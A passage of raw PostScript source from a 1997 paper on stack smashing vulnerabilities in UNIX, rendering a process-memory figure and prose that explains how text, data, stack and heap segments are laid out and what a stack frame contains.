4310 M 4658 4303 L 4689 4303 L 4689 4310 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4721 4310 M 4721 4303 L 4753 4303 L 4753 4310 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4784 4310 M 4784 4303 L 4816 4303 L 4816 4310 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4847 4310 M 4847 4303 L 4879 4303 L 4879 4310 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4910 4310 M 4910 4303 L 4942 4303 L 4942 4310 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4974 4310 M 4974 4303 L 5005 4303 L 5005 4310 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5037 4310 M 5037 4303 L 5068 4303 L 5068 4310 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5100 4310 M 5100 4303 L 5132 4303 L 5132 4310 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4531 3979 M 4531 3971 L 4563 3971 L 4563 3979 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4594 3979 M 4594 3971 L 4626 3971 L 4626 3979 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4658 3979 M 4658 3971 L 4689 3971 L 4689 3979 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4721 3979 M 4721 3971 L 4753 3971 L 4753 3979 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4784 3979 M 4784 3971 L 4816 3971 L 4816 3979 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4847 3979 M 4847 3971 L 4879 3971 L 4879 3979 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4910 3979 M 4910 3971 L 4942 3971 L 4942 3979 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4974 3979 M 4974 3971 L 5005 3971 L 5005 3979 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5037 3979 M 5037 3971 L 5068 3971 L 5068 3979 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5100 3979 M 5100 3971 L 5132 3971 L 5132 3979 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p180000 SETFONT GS 1495 10000 7202 2679 DOCLIPBOX n 3137 3771 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (process in memory) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 5299 3060 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (file in secondary storage) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 5040 7422 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (command line arguments) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 5127 7252 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (and shell environment) ST GR GS 1495 10000 7203 2678 DOCLIPBOX n 5390 7150 M 5384 7154 L 5361 7122 L 5368 7118 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5345 7086 M 5339 7090 L 5316 7059 L 5322 7055 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5299 7023 M 5294 7027 L 5271 6996 L 5277 6992 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5255 6960 M 5248 6964 L 5225 6932 L 5232 6928 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5210 6897 M 5203 6901 L 5181 6869 L 5187 6865 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5165 6833 M 5158 6837 L 5136 6806 L 5142 6802 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5119 6770 M 5113 6774 L 5090 6742 L 5097 6738 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5075 6707 M 5067 6711 L 5045 6679 L 5052 6675 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5029 6644 M 5023 6648 L 5000 6616 L 5006 6612 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4984 6581 M 4977 6585 L 4955 6553 L 4961 6549 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4939 6518 M 4932 6521 L 4910 6490 L 4916 6486 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4916 8150 M 4910 8144 L 4936 8113 L 4942 8119 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4969 8087 M 4963 8081 L 4989 8049 L 4996 8056 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5021 8024 M 5015 8018 L 5042 7986 L 5048 7992 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5075 7961 M 5067 7955 L 5094 7923 L 5100 7929 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5127 7897 M 5121 7891 L 5146 7860 L 5154 7866 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5179 7834 M 5173 7828 L 5200 7797 L 5206 7802 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5232 7771 M 5225 7765 L 5252 7734 L 5258 7739 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5285 7707 M 5279 7702 L 5305 7670 L 5311 7676 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5337 7644 M 5331 7639 L 5358 7607 L 5364 7613 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5390 7581 M 5384 7575 L 5384 7575 L 5390 7581 L 5384 7575 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4531 6491 M 4531 6484 L 4563 6484 L 4563 6491 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4594 6491 M 4594 6484 L 4626 6484 L 4626 6491 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4658 6491 M 4658 6484 L 4689 6484 L 4689 6491 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4721 6491 M 4721 6484 L 4753 6484 L 4753 6491 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4784 6491 M 4784 6484 L 4816 6484 L 4816 6491 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4847 6491 M 4847 6484 L 4879 6484 L 4879 6491 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4910 6491 M 4910 6484 L 4914 6484 L 4914 6491 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4531 8151 M 4531 8143 L 4563 8143 L 4563 8151 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4594 8151 M 4594 8143 L 4626 8143 L 4626 8151 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4658 8151 M 4658 8143 L 4689 8143 L 4689 8151 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4721 8151 M 4721 8143 L 4753 8143 L 4753 8151 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4784 8151 M 4784 8143 L 4816 8143 L 4816 8151 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4847 8151 M 4847 8143 L 4879 8143 L 4879 8151 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4910 8151 M 4910 8143 L 4914 8143 L 4914 8151 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 2606 2434 M (Figure 7.a) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3208 2434 M ( UNIX Process in primary and secondary storage[5]) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 2165 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2045 2165 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2464 2165 M (differs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2977 2165 M (from ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3379 2165 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3696 2165 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3976 2165 M (text ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4302 2165 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4619 2165 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4973 2165 M (segments ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5670 2165 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5876 2165 M (significant ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6655 2165 M (ways. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7158 2165 M (Most ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1889 M (importantly, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2075 1889 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2323 1889 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2710 1889 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2866 1889 M (dynamic, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3526 1889 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3811 1889 M (determined ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4605 1889 M (at ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4770 1889 M (run ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5037 1889 M (time, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5420 1889 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5604 1889 M (opposed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6203 1889 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6377 1889 M (static ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6773 1889 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7095 1889 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7389 1889 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1613 M (simply ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1704 1613 M (loaded ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2190 1613 M (into ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2491 1613 M (memory. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3174 1613 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3337 1613 M (contiguous ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4109 1613 M (block ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4521 1613 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4703 1613 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5302 1613 M (containing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6046 1613 M (data, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6450 1613 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6567 1613 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6952 1613 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7106 1613 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7223 1613 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1337 M (structure for storing items which are to be accessed in last-in, first-out order\ [3].) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 13 13 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 9848 M (When ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2158 9848 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2374 9848 M (executable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3144 9848 M (file ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3425 9848 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3595 9848 M (loaded, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4139 9848 M (first ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4467 9848 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4729 9848 M (text ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5037 9848 M (segment ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5651 9848 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5821 9848 M (loaded ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6323 9848 M (into ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6640 9848 M (memory, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 9848 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9572 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1574 9572 M (area ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1940 9572 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2139 9572 M (loaded ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2670 9572 M (second. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3304 9572 M (Finally, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3905 9572 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4196 9572 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4626 9572 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4825 9572 M (allocated ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5513 9572 M (dynamically ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6423 9572 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6806 9572 M (zero-filled ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9296 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1803 9296 M (using ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2207 9296 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2325 9296 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2832 9296 M (call ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3116 9296 M (such ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3465 9296 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 3648 9296 M (sbrk) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 3935 9296 M (, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4021 9296 M (common ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4648 9296 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4821 9296 M (most ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5189 9296 M (BSD ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5557 9296 M (distributions) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p120000 SETFONT GS n 6388 9296 M (. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 6516 9296 M (Stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6930 9296 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7251 9296 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9020 M (grows ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1652 9020 M (immediately ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2527 9020 M (above ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2967 9020 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3213 9020 M (BSS ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3553 9020 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3873 9020 M (segment ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4471 9020 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4625 9020 M (called ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5065 9020 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5311 9020 M (heap. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5752 9020 M (Heap ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6146 9020 M (addresses ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6828 9020 M (may ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7158 9020 M (grow ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8744 M (up or down, depending on the CPU implementation. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8468 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2012 8468 M (user ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2338 8468 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2728 8468 M (frame ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3166 8468 M (contains ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3768 8468 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4019 8468 M (parameters ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4799 8468 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4976 8468 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5098 8468 M (function, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5742 8468 M (its ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5947 8468 M (local ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6318 8468 M (variables, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7009 8468 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 8468 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8192 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1554 8192 M (necessary ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2275 8192 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2477 8192 M (recover ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3050 8192 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3326 8192 M (previous ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3972 8192 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4387 8192 M (frame, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4892 8192 M (including ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5592 8192 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5868 8192 M (value ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6301 8192 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6513 8192 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6789 8192 M (instruction ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7916 M (pointer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1729 7916 M (at ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1901 7916 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2156 7916 M (time ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2504 7916 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2695 7916 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2950 7916 M (function ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3556 7916 M (call[9]. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4127 7916 M (Above ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4622 7916 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4877 7916 M (user ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5207 7916 M (stack, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5643 7916 M (all ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5861 7916 M (command ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6570 7916 M (line ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6871 7916 M (argument ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7640 M (variables, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1930 7640 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2149 7640 M (well ) ST GR 0.0000 0.0000 0.0000 1.0000 